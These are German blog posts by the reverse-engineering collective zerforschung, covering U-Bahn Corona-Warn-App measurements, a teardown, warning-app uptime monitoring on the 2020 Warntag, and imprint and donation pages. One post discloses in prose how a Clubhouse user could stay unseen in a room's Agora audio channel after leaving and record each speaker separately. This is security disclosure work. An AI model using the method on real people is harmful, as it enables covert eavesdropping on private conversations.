Wir möchten es nochmal explizit betonen: Die Zahlen sind mit viel Vorsicht zu genießen, aber die Daumenregel “In jeder vollen U-Bahn sitzt statistisch eine infizierte Person” bleibt.

Diese Karte Zeigt die Verteilung der 0,1% Positivsignale über das gesamte U-Bahnnetz

Gern hätten wir die zeitliche Verteilung der infizierten Kontakte ausgewertet, im Verhältnis zu allen erfassten Kontakten.
So hätten wir beispielsweise sehen können, ob unter Schul- und Berufspendler*innen die Infiziertenrate höher ist als bei den oft verdächtigten Partygänger*innen am Freitag- oder Samstagabend. Da wir aber insgesamt nur knapp über 50 Coronafälle gemessen haben, können wir die Daten hier nicht sinnvoll interpretieren.

Als Beispiel, warum jegliche Interpretation dieser Daten unseriös wäre, zeigen wir hier 2 Grafiken, die jeweils die gleichen Daten auf gerade bzw. ungerade Stunden aggregiert darstellen:

Wo sind die Daten?

Wir haben die Daten nun veröffentlicht und dokumentiert.

Wie funktioniert die Technik dahinter?

Wir werden demnächst einen Artikel veröffentlichen, in dem wir genauer beschreiben, wie die Messgeräte funktionieren und welche spannenden Herausforderungen wir bei der Entwicklung überwinden mussten. Für alle, die jetzt schon neugierig sind oder das Projekt nachbauen wollen, haben wir den Sourcecode für die Messgeräte und die Serverkomponente veröffentlicht.

Vor allem wenn ihr ein Verkehrsunternehmen seid, stehen wir gern für einen (Video)call zur Verfügung, um auch technisch sehr genau zu erklären, wie wir vorgegangen sind und wie ihr das genauso und noch besser hinbekommt. Unsere Kontaktdaten kennt ihr ja.

Schlussgedanken

Die Corona-Warn-App spielt bei der Pandemiebekämpfung eine untergeordnete Rolle. Wer jedoch behauptet, das liege am zu hohen Datenschutz, lügt oder hat keine Ahnung, wovon er spricht.

Unsere Analysen zeigen, welche Erkenntnisse auch mit einem datensparsamen, dezentralen Ansatz möglich sind. Die Wirkungslosigkeit liegt an der geringen Nutzung, nicht angeschlossenen Laboren und kaputten Prozessen.

Menschen, die behaupten, man müsse da jetzt GPS oder sonstige Trackingmethoden einbauen, bewirken auch bloß eine noch größere Skepsis. Genau solche Aussagen führen zu noch geringerer Akzeptanz.

Für die Zukunft: Eine magische App allein löst nicht all eure Probleme!

Und übrigens: Wer im Homeoffice arbeitet oder Distanzunterricht bekommt, muss auch nicht den ÖPNV benutzen. #MachtDieBuerosZu #LasstDieSchulenUndKitasZu

Die komplette Entwicklung haben wir in unserer Freizeit, neben Brötchenjob und allgemeiner Pandemie-Erschöpfung gemacht und die ca. 400€ Material, Werkzeug und Hardware aus unserer eigenen Tasche bezahlt.
Wenn dir gefällt was wir tun und du uns dabei unterstützen willst, damit wir noch mehr solchen oder ganz anderen Quatsch machen können, kannst du dir unsere Unterstützungsseite ansehen. Es schlummern noch viele weitere Projektideen.

Wenn wir Fehler gemacht haben, ihr Verbesserungsvorschläge oder Feedback habt oder “Geheimwissen” anbieten könnt, lasst es uns wissen. Unsere Kontaktdaten findet ihr auf der entsprechenden Seite.

Update 1: Dauer zwischen Kontakt und Positivmeldung

Wenn wir betrachten, an welchem Tag die Tageszahlen veröffentlicht wurden und wann wir die Signale empfangen haben, können wir berechnen, wie lange nach dem Kontakt die Positivmeldung erfolgte:

Besonders interessant ist hier ein Eintrag mit 0 Tagen. Wir haben um circa 7:30 Uhr einen Kontakt gemessen, am nächsten Morgen wurde der Schlüssel dann als positiv gemeldet. Ob das die Fahrt zum Testzentrum war?

Update 2

Weil es Missverständnisse gab: Wir können natürlich keine Aussage über Ansteckungen oder Ansteckungswahrscheinlichkeiten machen, sondern nur über die Anwesenheit von infizierten Personen.

Um es noch mal hervorzuheben: Die errechneten Zahlen spiegeln auch in etwa die durchschnittlichen Zahlen des RKIs aus diesem Zeitraum wieder. Es deutet also, wenig überraschend, nichts darauf hin, dass im ÖPNV anteilig mehr oder weniger Menschen infiziert sind. Es sind insgesamt viele Menschen infiziert und im ÖPNV trifft man einfach auf viele Menschen.

Teilweise mit sehr fragwürdigen Überschriften, bei denen von niedrigem Infektionsrisiko gesprochen wird, dann im Artikel aber nur das Unfallrisiko im Vergleich zum Auto besprochen wird ↩︎
leider meldete sich niemand, obwohl wir Hinweise darauf haben, dass mehrere Messgeräte von BVG-Mitarbeitenden gefunden wurden ↩︎
ein Hoch auf die Maskenpflicht! 😷 😃 ↩︎
Die 50% beziehen sich auf die positiven Test unter den Menschen, welche die App benutzen. Da diese Zahl von der Gesamtzahl der App-Installationen abhängt, kann diese Zahl nur geschätzt werden. Wir verwenden hier die Schätzungen des RKI. Die 10%-15% aus der Rechnung darüber beziehen sich auf das Verhältnis zwischen der Gesamtzahl aller positiven Tests und den in der App gemeldeten. ↩︎

Gespräche aus dem brennenden Clubhouse tragen

Wed, 27 Jan 2021 09:00:00 +0200

Heute sind wir ganz am Zeitgeist und schauen uns das Sprachi-Netzwerk Clubhouse an. Es gab bereits einige Kritik am Datenschutz (https://www.tagesschau.de/wirtschaft/clubhouse-audio-app-deutschland-datenschutz-social-media-101.html) und Exklusivität.

Der Großteil des Kontakt zum Server wird über eine REST-Api abgewickelt. Hier ist Clubhouse widerspenstiger als viele andere Apps und implementiert Certificate Pinning. Dann holen wir mal das gejailbreakte Telefon heraus.

Sobald man einen Raum startet verbindet sich die Clubhouse-App mit zwei weiteren Diensten: Pubnub und Agora. Pubnub wird für die Echtzeitkommunkation genutzt, Agora für den Audiochat.

Screenshot eines Mitschnitts des Datenverkehrs von Clubhouse

Agora hat ein öffentliches SDK (leider nicht open source), dann laden wir das doch mal herunter.

Downloadseite des Agora SDKs

Bei Agora gibt es 2 Arten einen Videochatraum zu betreten. Entweder nur mit dem Namen, für “low-security”-Anwendungen wie Staubsauger (https://itcareersholland.nl/call-an-exorcist-my-robots-possessed/), oder für “high-security”-Anwendungen wie öffentliche Gespräche mit Namen und einem Token.

Clubhouse nutzt Tokens. Dieses Token wird serverseitig generiert, bei Clubhouse bekommen wir dieses wenn wir den “join_channel”- oder “create_channel”-Endpoint aufrufen.

Antwort eines create_channel-Aufrufs

Oh, wenn wir join_channel aufrufen, taucht die*der Nutzer*in bereits im Raum auf und wir als gemutet angezeigt. Dabei haben wir noch garnicht probiert, den Agora-Audio-Kanal zu öffnen. Naja dann probieren wir das doch gleich mal.

Super, 10 Zeilen code und der Ton läuft. Wir können die anderen hören. Mal schauen, was das SDK so für Methoden bietet…

Wie praktisch, es gibt “startAudioRecording” um eine Aufnahme zu starten. Wir können uns sogar aussuchen, in welcher Qualität die Aufnahme passieren soll.

SDK-Dokumentation zu startAudioRecording

Hinweis: Wir finden es nicht okay, einfach so nicht-öffentliche Gespräche aufzuzeichen. Wenn Politiker*innen aber als Mandatsträger*innen (semi-)öffentlich sprechen, *kann* es für uns ein berechtigtes Interesse geben das nachzuvollziehen.

Okay, dann verlassen wir den Raum mal wieder. Die App ruft dazu “leave_channel” auf. Wenn wir das tun, verschwinden wir bei den anderen im Raum auch sofort aus der Raumübersicht in der App. Nur ein Problem:

Erfolgreicher Aufruf von leave_channel

Wir sind in Agora immernoch im Raum und hören die anderen weiterhin. Auch eine neue Aufzeichnung können wir ohne Probleme starten. Alles ohne, dass uns die Anderen sehen.

Wir können uns sogar erneut verbinden. Auf die Schnelle konnten wir in der Dokumentation von Agora keine Möglichkeit finden, ein Raum-Token zu wiederrufen.

Dafür haben wir einen spannende Methoden gefunden: Man kann sich den Ton nach Nutzer*in getrennt geben lassen. So können gezielt einzelne Personen mitgeschnitten werden.

Dokumentation einer Methode um Audiodaten einzelner Personen zu bekommen

Praktischerweise werden in Agora die gleichen Nutzer*innen-Ids verwendet wie in Clubhouse, sodass wir das ganze sogar automatisch Nutzer*innen zuordnen können.

Fazit: Wir sehen also, dass es möglich ist fast unerkannt Gespräche auf #Clubhouse aufzuzeichnen.

Dies zu finden hat nur wenige Stunden gedauert, wer weiß, was da noch im Argen liegt

Nachtrag: Scheinbar konnte man im November auch mal die Profile aller Nutzer*innen abfragen.

I poked around the clubhouse app and found an endpoint that lets you query for all users

They currently have 106k registered users, currently adding about 20 every minute. That's honestly very impressive.
— rashiq (@rashiq) November 28, 2020

Unterstützen

Mon, 04 Jan 2021 18:48:57 +0100

Wenn euch gefällt was wir machen, dürft ihr uns gern unterstützen.

Ihr könnt uns einerseits finanziell unterstützen, andererseits freuen wir uns auch über Werkzeug oder lustige/interessante Hardware, die wir mal auseinandernehmen sollten.

Finanzielle Unterstützung

Wenn ihr uns Geld zukommen lassen möchtet, ist uns eine Überweisung am liebsten:

IBAN: DE44 1001 8000 0835 1929 25 Update 2025: schon wieder eine neue IBAN 🙃
BIC: FNOMDEB2
Kontoinhaber*in: radforschung GbR

Alternativ bieten wir außerdem folgende Möglichkeiten:

GitHub Sponsors
Patreon
Steady
PayPal.me
unscheinbare Umschläge an die Hardware-Adresse

Warum bei SEPA und PayPal von radforschung GbR die Rede ist? Das ist die rechtliche Entität, die wir für das Radforschungs-Projekt schon fertig da hatten.

Wir nehmen keine Unterstützung in Form von Krypto-“Währungen” an und diskutieren auch nicht darüber. Wir mögen diesen Planeten wirklich sehr und würden gern noch eine Weile auf ihm leben können.

Was machen wir mit dem Geld?

Für viele Projekte und Experimente kaufen wir Hardware, Bauteile und Software. Entweder um sie auseinanderzunehmen oder um sie als Analysewerkzeug zu benutzen.

Manchmal werden wir vielleicht auch das ein oder andere Essen oder Getränk davon kaufen. Ebenso werden wir das Geld nutzen um Zugtickets zu kaufen, uns als Team physikalisch treffen zu können oder Konferenzen zu besuchen.

Hardware und Werkzeug

Wenn ihr uns Hardware und Werkzeug zukommen lassen wollt, schickt sie am besten an:

xHain hack+makespace gemeinnützige UG (haftungsbeschränkt)
Kennwort: zerforschung
Grünberger Str. 16
10243 Berlin

Dies ist die Adresse des Hack- und Makespaces, in dem einige von uns regelmäßig unterwegs sind und dessen Ausstattung wir nutzen und auch beisteuern.

Wenn ihr euch nicht sicher seid, ob wir das Gerät bereits besitzen oder nutzen können, schreibt uns bitte vorher. Auch bei größerer Hardware würden wir euch darum bitten, diese vorher bei hallo@zerforschung.org anzukündigen, nicht dass wir plötzlich drei alte S-Bahn-Wagen vor der Tür stehen haben.

Wunschlisten

Außerdem haben wir für eure Convenience bereits Listen angelegt mit Dingen, die wir an unseren verschiedenen Forschungsstandorten noch gebrauchen könnten:

https://www.amazon.de/hz/wishlist/ls/1H4WWR8XHG8EI

Leider bietet nur Amazon eine öffentliche Wunschliste. Wir werden uns zeitnah darum kümmern, Wunschlisten mit separaten Adressen (damit nichts für Berlin in Ulm landet und umgekehrt) direkt hier zu pflegen.

Stadia Controller Explosionsgrafik

Mon, 04 Jan 2021 15:54:42 +0100

Google verschenkte letztens wieder Hardware. Das Bedürfnis, neue Hardware sofort aufzuschrauben, machte auch bei diesem Gerät keine Ausnahme und so dokumentierten wir den Prozess auf Twitter.

Und da das Gerät eh schon einmal offen war, wollte es auch noch mal in schön fotografiert werden. Durch Inspiration der großartigen Fotos von Evan Amos, der seine Aufnahmen in seinem Buch „The Game Console“ veröffentlichte, aber sie vor allem der Allgemeinheit unter CC0 schenkt, entstand die Idee, eine Explosionsgrafik zu erstellen.

Explosionsgrafik Stadia Controller

Das ganze ist aufwendig, aber durchaus an einem Abend machbar. Nach dem Vorbild von Evan Amos haben wir die Grafik nun auch unter einer freien Lizenz auf Wikimedia Commons geladen. Die Auflösung der Grafik ist leider etwas niedriger als gewünscht, was einfach mit der Auflösung der zur Verfügung stehenden Kamera zu tun hat.

Wir möchten etwas ausprobieren: Wenn euch unsere Arbeit gefällt, dann überlegt doch, ob ihr uns nicht unterstützen wollt. Wir arbeiten gerade an einem größeren Projekt, was durchaus etwas kostenintensiver ist. Aber auch Hardware zum auseinandernehmen und Werkzeuge kann man uns zukommen lassen.

Hier noch ein paar weitere Fotos des Stadia Controllers.

Makroaufnahme des Flash und CPU-Chip im Hintergrund

Aufnahme der Platine und der Versuch eines Focus-Merges. Oben in der Mitte ist die WLAN-Antenne zu sehen.

Gesamtbild der Platine (klick für höhere Auflösung). Die Verunreinigungen auf der rechten Seite sind Flux-Reste vom gescheiterten Versuch den Flash runter zu löten.

Nahaufnahme des CPU (oben rechts) und des Flash-Chips (links unten)

Bild vom Fotosetup für die Explosionsgrafik

Forscher*innen

Wed, 30 Sep 2020 01:22:36 +0200

zerforschung ist ein freundliches Kollektiv aus Menschen, die Spaß daran haben, Technik auseinander zu nehmen, um zu verstehen, wie diese funktioniert. Wir sind dezentral, aber dank dieses Internets ist das ja nicht weiter schlimm. Aktuell sind es mindestens

Maxi
Thomas
Jenny
pajowu
Lilith
und noch weitere im Kollektiv, die sich eher im Hintergrund wohlfühlen

Um möglichst viele Menschen an dem Spaß teilhaben zu lassen, dokumentieren wir das ganze hier, auf Twitter und auf Mastodon. Manchmal packen wir auch Sammlungen von Tweets, die zu lang geworden sind, um sie angenehm zu lesen, nochmal auf diese Seite. Eine genauere Erklärung gibts bei zerforschung, die – Erkenntnisgewinn durch kaputtmachung.

Wenn ihr witzige Gerätschaften habt, die wir mal auseinander nehmen sollen, schreibt uns einfach.

99 Notfallapps auf ihrem Weg zum Cell Broadcast

Tue, 29 Sep 2020 15:38:26 +0200

Wie ihr alle mitbekommen habt (oder vielleicht eben auch nicht) fand am 10. September der erste bundesweite Warntag statt. Neben Sirenen und Rundfunkunterbrechungen sollten auch die Warn-Apps getestet werden. Aus nicht wirklich nachvollziehbaren Gründen gibt es in Deutschland nicht die eine Warnapp™, nein, es steigen gleich drei wichtige Apps in den Ring:

NINA: Die vom Bundesamt für Bevölkerungsschutz und Katastrophenhilfe bereitgestellte App, in deren Fokus die Auslieferung von Katastrophenmeldungen, die in den Zuständigkeitsbereich des Bundes fallen.
Katwarn: Ursprünglich im Auftrag des Verbandes Öffentlicher Versicherer von Fraunhofer FOKUS entwickelt, wird aber mittlerweile von vielen Gemeinden, Kreisen und Ländern als offizieller Kanal zum Ausspielen von Katastrophenwarnungen in deren jeweiliger Zuständigkeit genutzt. Zusätzlich existiert nur für Hessen noch eine eigene, weitere App HessenWARN, deren zusätzliche Existenzberechtigung mir komplett schleierhaft ist.
BIWAPP: Als weitere regionale Warnapp, die von der Marktplatz GmbH entwickelt und betrieben wird, und für manche Kreise, Städte und Gemeinden als deren offizielle Warnapp fungiert.

Bis vor kurzem mussten sich BürgerInnen selbst informieren, welche App denn jetzt für ihre Region zuständig ist - um sicher zu gehen aber jedoch alle drei Apps installiert und aktiviert haben, da man sich nicht zwingenderweise immer im gleichen Landkreis aufhält. (okay, dieses Jahr vielleicht schon). Seit Februar 2019 tauschen die Apps ihre Meldungen mit NINA aus (wobei es wohl keinen Austausch zwischen BIWAPP und Katwarn gibt). Das macht doch Lust auf mehr!

Jedenfalls sollten diese Apps jetzt im Rahmen des Warntags im großen Stile getestet werden, was bei uns doch etwas Interesse hervorrief. So entstand im vorhinein des Warntages die Idee, die Verfügbarkeit der hinter den Warnapps stehenden Serverinfrastruktur von außen zu monitoren. Kurz vor knapp haben wir das ganze am Abend vor dem Warntag dann auch tatsächlich noch schnell eingerichtet.

Da Monitoring der Verfügbarkeit von Infrastruktur ein normales Vorgehen für den Betrieb von IT ist, gibt es dafür auch eine Menge an fertigen Tools. Die Tools sind in der Regel dafür ausgelegt, Infrastruktur “von außen” (aus dem Internet) zu beobachten, da bei einem Komplettausfall ein internes Monitoring (im selben Netz, Rechenzentrum, …) auch weg sein könnte. Zudem ist es einfach sinnvoller von Außen zu testen, wenn der normale Anwendungsfall auch von außen passiert.

Übersicht der Schnittstellen in UptimeRobot

Wir haben dafür den Service UptimeRobot auf sämtliche uns bekannte Schnittstellen der Apps angesetzt. Dieses Tool misst minütlich, ob der entsprechende Server verfügbar ist und wie lange dieser zum Antworten braucht. Ist die Antwortzeit ungewöhnlich lange, ist das ein Indiz dafür, das der entsprechende Server überlastet ist. Die Infrastruktur für das Ausliefern von Push-Notifications lässt sich von außen leider nicht ohne weitere Informationen über das System monitoren.

Um an die Information zu kommen, mit welchen Servern und Schnittstellen die Apps sprechen, musste wir die Apps auseinander nehmen - denn die Schnittstellen sind nicht öffentlich dokumentiert und wurden bislang auch nicht auf Anfragen nach dem Informationsfreiheitsgesetz herausgegeben.

Leider ist es uns in der knappen Zeit nicht gelungen, die Schnittstellen aller Apps heraus zu finden. So konnten wir bei Katwarn nur die ping Zeiten der Server, jedoch nicht die wirkliche Reaktionszeit des Dienstes überwachen.

Außerdem haben wir noch die Info-Webseiten der Apps mit ins Monitoring aufgenommen.

Und dann kam alles anders schlimm.

Donnerstag, 10. September 2020, 11 Uhr. Die Sirenen heulen leise am Horizont, aber die Apps pushen nicht.

Ein Blick in unser Monitoring zeigt… nichts. Die Vermutung, dass die Telefone keine Nachrichten bekommen, weil die Infrastruktur der Apps zusammen gebrochen ist, konnten wir aus dem Monitoring nicht ablesen. Unsere Vermutung: Entweder hatte jemand verschlafen, die Apps komplett vergessen, oder das Backend zum Einstellen der Meldungen musste abgeraucht sein.

Eine Vermutung, die sich leider später bestätigte:

Info 1/3
Die bundesweite MoWaS-Meldung konnte nur verspätet zugestellt werden. Grund dafür war eine nicht vorgesehene zeitgleiche Auslösung einer Vielzahl von Warnmeldungen über MoWaS. ^nps
— BBK (@BBK_Bund) September 10, 2020

Das Traurige daran ist jedoch, dass dies leider keine neue Erkenntnis ist, wie dieser Tweet von 2018 zeigt:

Die zeitgleiche Nutzung von #NINA durch das Innenministerium NRW sowie einiger Großstädte hat aber zu einer außergewöhnlichen Belastung der technischen Infrastruktur geführt. Die Schwachstellen konnten zwischenzeitlich identifiziert werden. 2/3 ^uf
— BBK (@BBK_Bund) September 11, 2018

MoWaS ist hierbei die bundeseigene Infrastruktur, über die Warnmeldungen eingegeben werden und dann an entsprechende Empfänger, wie Medienbetreiber (Radio, TV, …) aber z.B. auch die Warn-Apps, ausgespielt werden.

Erst eine halbe Stunde später tauchte im Fall von NINA eine Warnmeldung auf den meisten Geräten auf. Bei KatWarn dauerte es jedoch (auf unseren Testgeräten) noch zwanzig weitere Minuten bis zur Warnung:

Katwarn Warnung um 11:51

Eine Entwarnung erfolgte nicht.

Dabei muss man dazu sagen, dass, jedenfalls auf iOS und Android, die Server der Warnapps die Nachrichten gar nicht selbst direkt an das jeweilige Gerät ausliefern, sondern diese an Apple bzw. Google übermitteln, deren Infrastruktur sich dann um die Auslieferung an die Endgeräte kümmert. Da diese im Normalbetrieb minütlich mehrere Millionen¹ Nachrichten ausliefern, lag die Verzögerung mit hoher Wahrscheinlichkeit nicht auf der Seite von Apple und Google.

Graphen des NINA Monitoring

Positiv anzumerken ist, dass die Server nach der Auslieferung der Push-Nachricht relativ stabil blieben. An der Stelle lag unsere größte Befürchtung, weil wir davon ausgingen, dass die Benutzenden die Apps über die Mitteilung öffnen werden, was wiederum eine Vielzahl an Anfragen an die Server der Apps bedeutet. Es kann natürlich sein, dass ein angekündigter Probealarm dieses Verhalten nicht so stark auslöst, wie in einem realen Katastrophenszenario. Die Stabilität ist im Ernstfall deswegen wichtig, da die ausführliche Erklärung der Notfalllage erst in der App selbst passiert, da in den Push-Notifications nur sehr begrenzt Platz für Text ist. Die Hälfte dieses Textes wird ja manchmal schon für die teilweise sehr langen Behördennamen verbraucht. Extrem lange Einführungen wie »Sachsen, Lagezentrum der Landesregierung meldet: Der Freistaat Sachsen Informiert:« sind hier auch nicht hilfreich.

Zwei Pushmitteilungen, deren Einführung so lang ist, dass man den Inhalt der Meldung nicht sieht

Weitere Seiten, die wir nicht im Monitoring mit erfasst hatten, waren aber zeitweilig auch nicht erreichbar. Zeitweilig klingt hier erst mal nicht tragisch, für eine kritische Infrastruktur, wie Bevölkerungswarnung im Ernstfall, ist aber genau dies wichtig. Eine 99,99% Verfügbarkeit hilft eben genau nichts, wenn die 0,01% zum einzigen Zeitpunkt liegen, bei dem die Verfügbarkeit wichtig ist.

I did create an uptime check for some official websites. So if we're ever going to die, German websites ain't gonna help us 🥺 4/6 locations reported downtime for bbk (dot) bund (dot) de #Warntag2020 pic.twitter.com/m5uLMARjc1
— Daniel Freytag (@FRYTG) September 10, 2020

Wir waren nicht die einzigen, welche die BBK Seite gemonitored haben. Auch die Infoseite zu NINA war zeitweilig überlastet. (Möglicherweise durch Menschen, die sich wunderten warum keine Meldung kam?)

BIWAPP Ausfallübersicht ab 11:00

Einen Totalausfall haben wir auch noch zu vermelden: BIWAPP. Obwohl die Dienste der App per Akamai ausgeliefert werden, waren diese pünktlich um 11:02 nicht mehr erreichbar, und brauchten selbst danach mehrere Stunden um sich wieder zu erholen.

Graphen des BIWAPP Monitoring

Die App war in dem Zeitraum komplett unbenutzbar, und stürzte an einigen Stellen sogar ab, weil sie ihre Server nicht erreichte. An Apps, die von sich behaupten, Katastrophenwarnungen vorzunehmen, ist der Anspruch an Verfügbarkeit und vorallem Stabilität in Fehlerfällen doch um einiges höher.

Graphen des Katwarn Monitoring

Wie oben beschreiben ließ sich die Infrastruktur von Katwarn von uns nicht komplett monitoren, da die Schnittstellen nirgends öffentlich dokumentiert sind. So sah das reine Ping Monitoring für Katwarn eigentlich ganz gut aus, die Realität war allerdings, dass zeitweise selbst ausgelöste Test-Pushmeldungen nicht funktionierten.

Stefan hatte schon 2012 aufgeschrieben, warum offene Schnittstellen im Katastrophenschutz wichtig wären, und wir glauben die Problematik hat sich mit der starken Verbreitung unterschiedlicher Arten von Endgeräten und Plattformen nur noch verstärkt.

Also, wir haben nix gehört.
— Deutscher Gehörlosen-Bund e.V. (@gehoerlosenbund) September 10, 2020

Das klingt erst mal witzig, zeigt aber, dass allein akustisches Warnen ganze Menschengruppen einfach ausschließt. Und Menschen mit anderen Einschränkungen haben ganz andere Anforderungen an eine Warnmeldung. Auch um diese verschiedenen Anforderungen zu erfüllen, könnten offene Schnittstellen weiterhelfen.

Ungeklärte Auffälligkeiten im Monitoring

Graphen der Katwarn Webseiten

Etwas unklar ist uns, warum hessenwarn.de nach 12:00 teilweise sehr langsame Antwortzeiten generierte, obwohl dies eigentlich nur eine Weiterleitung auf die Webseite des hessischen Innenministeriums sind.

Das gleiche Verhalten zeigte auch das österreischische katwarn.at, obwohl da der Warntag erst am 3. Oktober stattfindet. katwarn.at hatten wir versucht zu monitoren, um zu schauen, ob ein Warntag in Deutschland das System in Österreich beeinflusst.

Graphen aller NINA Dienste

Auch in den Monitoringdaten von NINA gibt es von ca. 17:00 bis 21:00 Uhr eine starke Erhöhung der Antwortzeiten an allen Schnittstellen. Auch hier ist uns die Ursache des Problems unklar.

Cell Broadcast

Warnung: Die folgenden Abschnitte wurden unter Einfluss von gefährlichem Halbwissen über Cell-Broadcast geschrieben.

Die Frage warum im deutschen Katastrophenschutz nicht auf Cell Broadcast gesetzt wird, wurde in den letzten Tagen schon öfter zu Recht gestellt. Während CB-Meldungen von allen Telefonen unterstützt werden, haben Apps den Nachteil, dass sie nicht für alle Telefone verfügbar sind. Außerdem werden Push-Notifications von Nutzenden im stummgeschalteten Modus oder Nachtmodus nicht bemerkt, während Cell Broadcast Nachrichten von den Telefonen priorisiert behandelt werden können. Außerdem können sich die Warnapp Notifications zwischen tausenden Benachrichtigungen anderer Apps, die wir täglich von Messengern bekommen, visuell nicht abheben, was bei CB-Nachrichten möglich ist. Der enorme Nachteil, dass die App auch noch aktiv installiert werden muss, und eigentlich nicht nur eine App, sondern mindestens drei ist gegenüber CB überhaupt nicht vertretbar. Außerdem können CB-Nachrichten auch bei stark überlasteten Netz in vielen Fällen noch zugestellt werden. Für weitere Infos, wie Karten und längere Texte sind die Apps vielleicht brauchbar, für die eigentliche Benachrichtigung allerdings nicht. Ein Link in der CB-Nachricht würde die Aufgabe weitere Infos bereitzustellen, aber genauso gut erledigen.

Kurz: Die Vorteile von CB überwiegen die einer App eigentlich in fast allen Punkte, was damit zusammen hängen dürfte, dass diese Technologie genau für diesen Anwendungszweck entwickelt wurde.

Dass CB in Deutschland von den Mobilfunkanbietern nicht angeboten wird, mag zwar bedingt stimmen, aber als Gesetzgeber wäre man sicher in der Lage, die Anbieter zu verpflichten dies anzubieten. Es ist ja so, dass alle Mobilfunkanbieter in Deutschland auch Schwesterunternehmen im Ausland haben, in denen CB genutzt wird. Am fehlenden Know-How in den Konzernen sollte es also nicht scheitern.

O₂/Telefónica hat in Deutschland bereits einmal Cell Broadcast unterstützt, da sie damals als VIAG Interkom (später O₂, später Telefónica) diese Technik benutzt haben um “Homezones” umzusetzen - und hat die Infrastruktur daher möglicherweise noch in Betrieb. Auch Vodafone nutzte Cell Broadcast um z.B. lokale Vorwahlen zu übermitteln.

NINA hat 20 Millionen Euro (1 Corona-Warn-App, 3 Saarland) gekostet – mit dem Geld hätten sich die Anbieter vielleicht auch überreden lassen, zukünftig Cell Broadcast Nachrichten auszuliefern.

Allerdings hätte im aktuellen Fall wahrscheinlich auch CB genauso verspätet ausgelöst, da die Verzögerung ja im davor gelagerten System MoWas entstanden ist. MoWas hätte also auch die CB-Systeme verspätet informiert.

Disclaimer: Dies ist eine reine Außenansicht der Systeme. Wir weisen außerdem daraufhin, dass Katastrophenschutz ganz weit außerhalb unserer Kompetenz liegt. Dementsprechend würden wir uns über Berichtigungen und Aufklärungen über Fehlannahmen sehr freuen.

Für weitere Analysen stellen wir die gemessenen Monitoring-Daten als JSON und als CSV bereit.

~~Ebenso werden wir in den nächsten Tagen ein GitHub Repo veröffentlichen, das alle uns bekannten Warnapp Schnittstellen enthält und den Beginn der Dokumentation dieser darstellen soll.~~

Update (Dezember 2021)

Inzwischen hat die Bundesstelle für Open Data eine inoffizielle Dokumentation der NINA API veröffentlicht.

Tatsächlich gibt es dazu keine guten Zahlen. Von Apple gibt es nur die Information, dass sie 2012 pro Tag etwa 7 Milliarden Notifications ausgeliefert haben. Seit dem hat sich die Smartphoneverbreitung, aber auch die intensivität der Nutzung stark erhöht. ↩︎

Thread: Ich habe ein ESP8266 in meiner Glühbirne gefunden

Mon, 21 Sep 2020 16:00:00 +0200

ESP8266-Glühbirne #0 - Curated tweets by zerforschung

ESP8266-Glühbirne #1 - Curated tweets by zerforschung

ESP8266-Glühbirne #2 - Curated tweets by zerforschung

ESP8266-Glühbirne #3 - Curated tweets by zerforschung

Impressum

Mon, 21 Sep 2020 01:01:17 +0200

zerforschung ist ein Kollektiv aus freundlichen Menschen, über einige Orte verteilt. Da trotzdem ja immer jemand im Impressum stehen muss, haben wir folgende Angaben für euch:

Angaben gemäß § 5 TMG

radforschung GbR
Olgastraße 94
89073 Ulm

Vertreten durch:

Maximilian Richt
Constantin Müller

Kontakt

E-Mail: hallo@zerforschung.org
Telefon: +49 30 62930862 (wir bevorzugen wirklich, wirklich, wirklich E-Mail)

Für inhaltliche Nachfragen wendet euch am besten über die Daten in Kontakt an uns.

Kontakt

Mon, 21 Sep 2020 01:01:17 +0200

Feedback und Kontakt am besten per E-Mail: hallo@zerforschung.org oder auch auf Mastodon oder Twitter.
Um uns S/MIME-verschlüsselte E-Mails zu schicken, findet ihr hier unser Zertifikat.

Wir nehmen gern wundersame Hardware in Empfang. Mehr dazu auf der Unterstützen-Seite.

Privacy

Mon, 21 Sep 2020 01:01:17 +0200

Manchmal binden wir Tweets ein, die Datenschutzerklärung von Twitter findet ihr hier: https://twitter.com/privacy

Diese Seite liegt auf einem Uberspace, für unser berechtigtes Interesse der Reichweitenmessung verwenden wir außerdem ein ebenfalls dort liegendes, selbst-gehostetes GoatCounter, dafür speichern wir keine personenbezogenen Daten. Welche Daten wir genau damit messen steht hier: https://www.goatcounter.com/privacy

zerforschung, die – Erkenntnisgewinn durch Kaputtmachung

Mon, 21 Sep 2020 00:20:31 +0200

◀️⚒️

Bevor ein Mythos entsteht, wie es zu dem Namen kam, möchten wir hier unsere eigene Darstellung platzieren:

Niemand wusste wie man “reverse engineering” schreibt oder an deutsche Zeitformen anpasst und erst recht niemand wie man es eindeutscht. Nunja, das Ergebnis “zerforschung” hat knapp gegen “Zurückentwicklung” gewonnen.

Was das ganze hier werden soll, weiß man natürlich eh erst später. Aber momentan ist geplant, dass dies der Ort wird, an dem wir unsere Spaßprojekte ~~end~~zwischenlagern können und auch der ein oder andere Twitterthread für die Nachwelt (oder einfach alle die es hassen Twitterthreads zu lesen) festgehalten wird. Content, der bisher verteilt über verschiedene Twitterthreads und Accounts ins Netz geblasen wurde, aber eigentlich zu schade ist, als Puzzleteile im Netz zu verschwinden soll hier ein zu Hause finden.

Bisherige Projekte, haben wir versucht in “Projekte” zu sammeln.

Wenn ihr wissen wollt wer wir sind um uns wegen hackenz zu verklagen, dann findet ihr unsere Kontaktdaten hier, wenn ihr uns aber wundersame Hardware zukommen lassen wollt oder einfach nur Feedback geben wollt, dann findet ihr die Kontaktdaten auf der dafür vorgesehenen Seite.

Der Rechtsweg ist ausgeschlossen, Familienmitglieder von zerforschungsmitarbeitenden dürfen nicht teilnehmen.

Projekte

Mon, 21 Sep 2020 00:18:20 +0200

Bisherige Zerforschungsprojekte, die noch nicht auf dieser Seite dokumentiert wurden, oder so eigenständig sind, dass sie ihre eigenen Blogs haben.

Radforschung

Aus der Idee ein eigenes Bikesharing Lock zu bauen wurde etwas mehr:

Analyse von chinesischen Bikesharingschlössern
Gefundene Sicherheitsschwachstellen in den Schlössern eines deutschen Bikesharinganbieters
Erklärung und Verbreitung der Mobility Data Specification in Deutschland
Der Start in ein weiteres Projekt zur Entwicklung eines OpenSource Bikesharing Systems in Ulm

All dies und noch viel mehr ist auf dem Blog auf radforschung.org dokumentiert.

WoBike

WoBike ist eine Dokumentation der APIs von vielen Bikesharing und E-Scooter Anbietern. Die Sammlung enthält sowohl offizielle APIs als auch inoffizielle APIs, die durch das Zerlegen der Apps erforscht wurden.

